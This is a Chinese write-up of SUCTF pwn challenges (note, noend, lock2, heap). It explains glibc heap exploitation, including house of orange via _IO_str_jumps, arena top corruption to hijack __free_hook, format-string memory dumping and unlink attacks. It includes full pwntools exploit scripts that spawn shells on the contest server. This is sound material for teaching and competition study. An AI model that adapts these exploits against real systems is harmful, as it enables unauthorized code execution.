写论文已经两周了orz,今天终于写完了… SUCTF完全靠大佬们带飞,躺进XCTF联赛决赛圈了..
note note这题也是被大佬们秒的比较多的题目了,我个人觉得这次PWN出的还是挺好的。
题目分析 题目有添加、显示、潘多拉魔盒(?)函数:
add:
show:
pandora box:
可以看出add函数最多可以申请10次(用处不大?),起初初始化程序时申请了两个连续的0x88的块,在pandora box函数中释放,程序不存在修改操作。
漏洞利用 漏洞十分明显,在add函数中,对申请堆块的输入使用scanf(“%s”,(&ptr)[i],显然存在一个堆溢出漏洞,并且对堆块也没有释放操作。看上去让人容易联想起House of orange,其实也是(…)
题目给的库是libc 2.24的,也就是说必须使用_IO_str_jump的方法利用了。
简单的House of orange我曾经发过一篇原理在看雪论坛上,一起食用风味更佳:从BookWriter看house_of_orange原理【新手向】
具体house of orange的手法是用unsorted bin attack将_IO_list_all覆写成unsorted bin 头节点(libc bss段上的main_arena + 88),此时在出错时最终会调用_IO_flush_all函数,具体是程序会从_IO_list_all中取出保存的_IO_FILE_plus指针以虚表的形式调用_IO_flush_all函数。可攻击的点在于_IO_list_all是一个文件指针单链表,当一个指针不满足时会继续执行下一个指针,可以将指针控制到我们可以控制的堆块中(通过修改size),最终伪造_IO_FILE_plus指针内容,劫持控制流。
在libc 2.24中,增加的对_IO_FILE_plus中的虚表进行检查,不允许将虚表指向意外的地方:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable ){ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) _IO_vtable_check (); return vtable; }
这时,大佬们考虑将虚表指向一个libc已存在的虚表,这样可以绕过检查了,由于虚表里指针调用的函数偏移不同,将虚表劫持后,会执行另一个虚表的其他函数,这个虚表被劫持为_IO_str_jumps,当执行想_IO_flush_all,实际上执行了_IO_str_overflow函数,在这个函数中当可以绕过一些判断时,可以执行一个新的函数, new_buf = (char ) ( ((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); 这个函数同样是相对调用调用,fp时我们可以控制的内存,其内存参数可以通过size计算得到。
可以看到需要满足的条件时:
pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)
new_size < old_blen
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100 ; if (new_size < old_blen) return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); if (new_buf == NULL ) { return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); fp->_IO_buf_base = NULL ; } memset (new_buf + old_blen, '\0' , new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1 ); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char ) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow) #define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
参考simp1e师傅之前关于Hctf-babyprintf题目的利用 , 可以对参数进行构造:
2 * old_blen + 100 = addr of “/bin/sh”
old_blen = (fp)->_IO_buf_end - (fp)->_IO_buf_base
构造 (fp)->_IO_buf_end =( addr of “/bin/sh” - 100) /2
(fp)->_IO_buf_base = 0 即可
至于如何构造unsorted bin attack可以通过申请堆块,释放原有的堆块,申请小堆块,溢出写来得到,具体exp如下:
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *context.log_level='debug' debug=0 if debug: p = process('./note' ) libc=ELF('./libc.so' ) else : libc = ELF('./libc6_2.24-12ubuntu1_amd64.so' ) p = remote('pwn.suctf.asuri.org' ,20003 ) p.recvuntil('Welcome Homura Note Book! ' ) def add (size,content) : p.recvuntil('Choice>>' ) p.sendline('1' ) p.recvuntil('Size:' ) p.sendline(str(size)) p.recvuntil('Content:' ) p.sendline(content) def show (index) : p.recvuntil('Choice>>' ) p.sendline('2' ) p.recvuntil('Index:' ) p.sendline(str(index)) def dele () : p.recvuntil('Choice>>' ) p.sendline('3' ) p.recvuntil('(yes:1)' ) p.sendline('1' ) add(16 ,'1' *16 ) dele() show(0 ) p.recvuntil('Content:' ) libc_addr = u64(p.recv(6 )+'\x00\x00' ) offset = 0x7f1b15e2ab78 -0x7f1b15a66000 libc_base = libc_addr - 88 - 0x10 - libc.symbols['__malloc_hook' ] sys_addr = libc_base+libc.symbols['system' ] malloc_hook = libc_base+libc.symbols['__malloc_hook' ] io_list_all = libc_base+libc.symbols['_IO_list_all' ] binsh_addr = libc_base+next(libc.search('/bin/sh' )) log.info('sys_addr:%#x' %sys_addr) fake_chunk = p64(0x8002 )+p64(0x61 ) fake_chunk += p64(0xddaa )+p64(io_list_all-0x10 ) fake_chunk += p64(0x2 )+p64(0xffffffffffffff ) + p64(0 )*2 +p64((binsh_addr-0x64 )/2 ) fake_chunk = fake_chunk.ljust(0xa0 ,'\x00' ) fake_chunk += p64(sys_addr+0x420 ) fake_chunk = fake_chunk.ljust(0xc0 ,'\x00' ) fake_chunk += p64(0 ) vtable_addr = malloc_hook-13872 payload = 'a' *16 +fake_chunk payload += p64(0 ) payload += p64(0 ) payload += p64(vtable_addr) payload += p64(sys_addr) payload += p64(2 ) payload += p64(3 ) payload += p64(0 )*3 payload += p64(sys_addr) add(16 ,payload) p.recvuntil('Choice>>' ) p.sendline('1' ) p.recvuntil('Size:' ) p.sendline(str(0x200 )) p.interactive()
noend 这道题涉及的主要是非主分配区的分配方式,相关知识、代码分析和调试方法在之前的N1CTF PWN题记录 中提到过。
漏洞分析 漏洞存在于main函数中,对于malloc得到的指针,没有检验是否为0,就对size-1的位置写一个0,可以造成一字节的内存任意写
1 2 3 buf = malloc (size); read(0 , buf, size); *((_BYTE *)buf + size - 1 ) = 0 ;
但是想要malloc返回为0,需要申请一个巨大的内存块大小,使得正常的main_arena无法处理,在_libc_malloc中有该部分的函数逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 void *__libc_malloc (size_t bytes) { mstate ar_ptr; void *victim; void *(*hook) (size_t , const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL , 0 )) return (*hook)(bytes, RETURN_ADDRESS (0 )); arena_get (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); if (!victim && ar_ptr != NULL ) { LIBC_PROBE (memory_malloc_retry, 1 , bytes); ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } if (ar_ptr != NULL ) (void ) mutex_unlock (&ar_ptr->mutex); assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))); return victim; } libc_hidden_def (__libc_malloc)
可以看到,在主分配区返回为空时,会初始化一个非主分配区,即ar_ptr = arena_get_retry (ar_ptr, bytes); ,而在此后,均会使用该非主分配区,而assert断言是在debug模式下起作用的,所以当两个分配区都无法处理时,就会返回一个空指针,造成任意写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 arena_get_retry (mstate ar_ptr, size_t bytes) { LIBC_PROBE (memory_arena_retry, 2 , bytes, ar_ptr); if (ar_ptr != &main_arena) { (void ) mutex_unlock (&ar_ptr->mutex); if (arena_is_corrupt (&main_arena)) return NULL ; ar_ptr = &main_arena; (void ) mutex_lock (&ar_ptr->mutex); } else { (void ) mutex_unlock (&ar_ptr->mutex); ar_ptr = arena_get2 (bytes, ar_ptr); } return ar_ptr; }
漏洞利用 漏洞利用分为地址泄露和地址劫持两部分。
地址泄露 在主分配区和非主分配区里,其实质上的内存分配方式是一样的。由于题目限制,申请内存小于等于0x7f时都会释放,而大于时不会释放。
可以首先分配多个不同大小的fastbin大小的块,会释放并挂到fastbin链中去,再申请一个大块(大于0x78,小于等于0x7f),此时,这个块获取的应该为0x90大小,而释放时会与top合并。合并之后,会触发malloc_consolidate,触发后,fastbin中的较小的堆块由于不和top相连,因此会放到unsorted_bin中一次,最后全部合并后与top合并,造成,top中有部分包含main_arena+88或thread_arena+88的地址,可以再次分配回来造成地址泄露。
劫持执行流 在非主分配区中,同样利用内存任意写,对threadarena中保存的top末位地址写0,可使top错位,其中size会落到可以控制的堆块地址中,可通过构造size大小使得可以分配到libc的地址中,劫持\ _free_hook为system。具体方法是将堆块分配到__free_hook之前,通过top的性质,将被误作为下一块size的__free_hook写为system+1的地址(需要构造提到的top size),虽然是system+1,但对整体没有影响。因为system的前五条指令是:
1 2 3 4 5 6 pwndbg> x /5i system 0x7fdf2f15c6a0 <__libc_system>: test rdi,rdi 0x7fdf2f15c6a3 <__libc_system+3>: je 0x7fdf2f15c6b0 <__libc_system+16> 0x7fdf2f15c6a5 <__libc_system+5>: jmp 0x7fdf2f15c130 <do_system> 0x7fdf2f15c6aa <__libc_system+10>: nop WORD PTR [rax+rax*1+0x0] 0x7fdf2f15c6b0 <__libc_system+16>: lea rdi,[rip+0x145591] # 0x7fdf2f2a1c48
system+1的前五条指令是:
1 2 3 4 5 6 pwndbg> x /5i system+1 0x7fdf2f15c6a1 <__libc_system+1>: test edi,edi 0x7fdf2f15c6a3 <__libc_system+3>: je 0x7fdf2f15c6b0 <__libc_system+16> 0x7fdf2f15c6a5 <__libc_system+5>: jmp 0x7fdf2f15c130 <do_system> 0x7fdf2f15c6aa <__libc_system+10>: nop WORD PTR [rax+rax*1+0x0] 0x7fdf2f15c6b0 <__libc_system+16>: lea rdi,[rip+0x145591] # 0x7fdf2f2a1c48
可以发现并没有执行上的影响,再次申请一个小堆块(小于0x50),并在其中写上’/bin/sh\0’就可以拿到shell。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from ctypes import *from pwn import *import timedebug=1 elf = ELF('./noend' ) if debug: p= process('./noend' ) context.log_level = 'debug' libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) gdb.attach(p,'c' ) else : exit(0 ) def build (size,content) : p.sendline(str(size)) time.sleep(0.2 ) p.send(content) k = p.recvline() return k build(0x28 ,'1' *8 ) build(0x38 ,'2' *8 ) build(0x7f ,'a' *8 ) k = build(0x38 ,'d' *8 ) libc.address = u64(k[8 :8 +8 ]) - 0x10 - 88 -libc.symbols['__malloc_hook' ] print '[+] system : ' ,hex(libc.symbols['system' ])p.sendline((str( 0x10 + 87 + libc.symbols['__malloc_hook' ]))) time.sleep(0.3 ) build(0x38 ,'A' *8 ) p.clean() build(0x28 ,'1' *8 ) build(0x48 ,'2' *8 ) build(0x7f ,'a' *8 ) k = build(0x38 ,'d' *8 ) thread_arena_addr_top = u64(k[8 :8 +8 ]) print '[+] thread_arena_addr : ' ,hex(thread_arena_addr_top)target = libc.symbols['system' ] build(0xf0 ,p64(target + (libc.symbols['__free_hook' ] - thread_arena_addr_top +0x70 -0x900 ) )*(0xf0 /8 )) p.sendline(str(thread_arena_addr_top+1 )) time.sleep(0.3 ) p.sendline() p.recvline() p.clean() time.sleep(1 ) build(libc.symbols['__free_hook' ]-(thread_arena_addr_top-0x78 +0x900 )-0x18 ,p64(libc.symbols['system' ])) build(0x10 ,'/bin/sh\0' ) p.interactive()
tip 对于非主分配区程序的调试,我找到一种相对于简单的方法。
首先利用vmmap指令,找到非主分配区的mmap块位置:
红框中标记的是堆和非主分配区的地址,二者应该是一样大的。
当找到非主分配区地址后,根据libc源码,其中第一块申请的应该是_heap_info结构体,因此,可以看到该结构体内容:
而在该结构体内,其中第一个成员ar_ptr指向的就是非主分配区的arena结构体,与main_arena的结构体是一致的。
注意,在一个thread_arena中仅有一个malloc_state结构体,位于第一个申请的内存块中。
lock2 EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 from pwn import *import itertoolsimport stringimport osdef pwn (offset) : p = remote('pwn.suctf.asuri.org' , 20001 ) p.recvuntil('password' ) p.sendline('123456' ) def leak_format (start, length) : out = '' for i in range(start, start + length): out += '-%%%d$p' % i return out def run_cmd (p, cmd) : p.recvuntil('cmd:' ) p.sendline(cmd) def leak_stack (p, index) : p.recvuntil('cmd:' ) p.sendline("%%%d$pAAA" % index) p.recvuntil('cmd:' ) return int(p.recvuntil('AAA' , drop=True ), 16 ) def leak_mem (p, addr) : buf = '%7$s' + '=--=' + p64(addr) + 'bb' run_cmd(p, buf) p.recvuntil('cmd:' ) return p.recvuntil('=--=' , drop=True ) def write_mem (p, addr, value) : if value != 0 : buf = ('%%%dc%%7$hn' % value).ljust(8 , '=' ) + p64(addr) + 'bb' else : buf = '%%7$hn' .ljust(8 , '=' ) + p64(addr) + 'bb' run_cmd(p, buf) p.recvuntil('cmd:' ) def get_codebase (p) : code_base = leak_stack(p, 16 ) & (~0xfff ) while True : print hex(code_base) data = leak_mem(p, code_base) if 'ELF' in data: print data break else : code_base -= 0x1000 print 'code_base is ' + hex(code_base) return code_base def dumpmem (offset, length) : p = remote('pwn.suctf.asuri.org' , 20001 ) p.recvuntil('password' ) p.sendline('123456' ) code_base = get_codebase(p) dump = '' addr = code_base + offset count = 0 while len(dump) < length: count += 1 if '\x0a' in p64(addr): print 'bad addr' , hex(addr) addr += 1 dump += '\x00' data = leak_mem(p, addr) data += '\x00' dump += data addr += len(data) print hex(addr) if count % 200 == 0 : print dump.encode('hex' ) p.close() return dump def dumpelf () : for i in range(12 ): dumpfile = 'dump%02d' % i if os.path.exists(dumpfile): print 'dumpfile %s exists' % dumpfile continue size = 0x400 dump = dumpmem(i*size, size)[:size] print 'dump length is ' , len(dump) open(dumpfile, 'wb' ).write(dump) canary = leak_stack(p, 15 ) print 'canary is ' , hex(canary) p.recvuntil('K ' ) addr = int(p.recvuntil('--' , drop=True ), 16 ) def write_byte (byte) : for i in range(8 ): if byte >> i == 0 : break bit = (byte >> i) & 1 write_mem(p, addr + i*4 , bit) write_byte(35 ) p.recvuntil('Box:' ) func_flag = int(p.recvline().strip('\n' ), 16 ) print 'func_addr is ' , hex(func_flag) p.recvuntil('name:' ) p.sendline('aaaaaaaaaa' ) p.recvuntil('want?' ) p.sendline('b' *0x1A + p64(canary)*2 + p64(func_flag)*10 ) p.interactive() for i in range(1 ): pwn(i)
heap EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *context.log_level='debug' debug = 0 free_got=0x602018 ptr=0x6020c0 if debug: p = process('./offbyone' ) libc = ELF('./libc.so' ) else : p= remote('pwn.suctf.asuri.org' ,20004 ) libc = ELF('./libc-2.23.so' ) def add (size,data) : p.recvuntil('4:edit\n' ) p.sendline('1' ) p.recvuntil('input len\n' ) p.sendline(str(size)) p.recvuntil('input your data\n' ) p.send(data) def dele (index) : p.recvuntil('4:edit\n' ) p.sendline('2' ) p.recvuntil('input id\n' ) p.send(str(index)) def show (index) : p.recvuntil('4:edit\n' ) p.sendline('3' ) p.recvuntil('input id\n' ) p.send(str(index)) def edit (index,data) : p.recvuntil('4:edit\n' ) p.sendline('4' ) p.recvuntil('input id\n' ) p.sendline(str(index)) p.recvuntil('input your data\n' ) p.send(data) add(136 ,'hack by 0gur1' .ljust(136 ,'a' )) add(128 ,'hack by 0gur2' .ljust(128 ,'b' )) add(128 ,'/bin/sh' ) add(128 ,'/bin/sh' ) add(128 ,'hack by 0gur1' .ljust(128 ,'d' )) add(136 ,'hack by 0gur1' .ljust(136 ,'e' )) add(128 ,'hack by 0gur1' .ljust(128 ,'f' )) add(128 ,'hack by 0gur1' .ljust(128 ,'g' )) fake_chunk = 'a' *8 +p64(0x81 ) +p64(ptr+40 -24 )+p64(ptr+40 -16 ) payload= fake_chunk payload= payload.ljust(0x80 ,'a' ) payload+=p64(0x80 ) payload+='\x90' edit(5 ,payload) dele(6 ) edit(5 ,'\x18\x20\x60' ) show(2 ) free_addr = u64(p.recv(6 )+'\x00\x00' ) sys_addr = free_addr-(libc.symbols['free' ]-libc.symbols['system' ]) log.info('sys_addr:%#x' %sys_addr) edit(2 ,p64(sys_addr)) dele(3 ) p.interactive()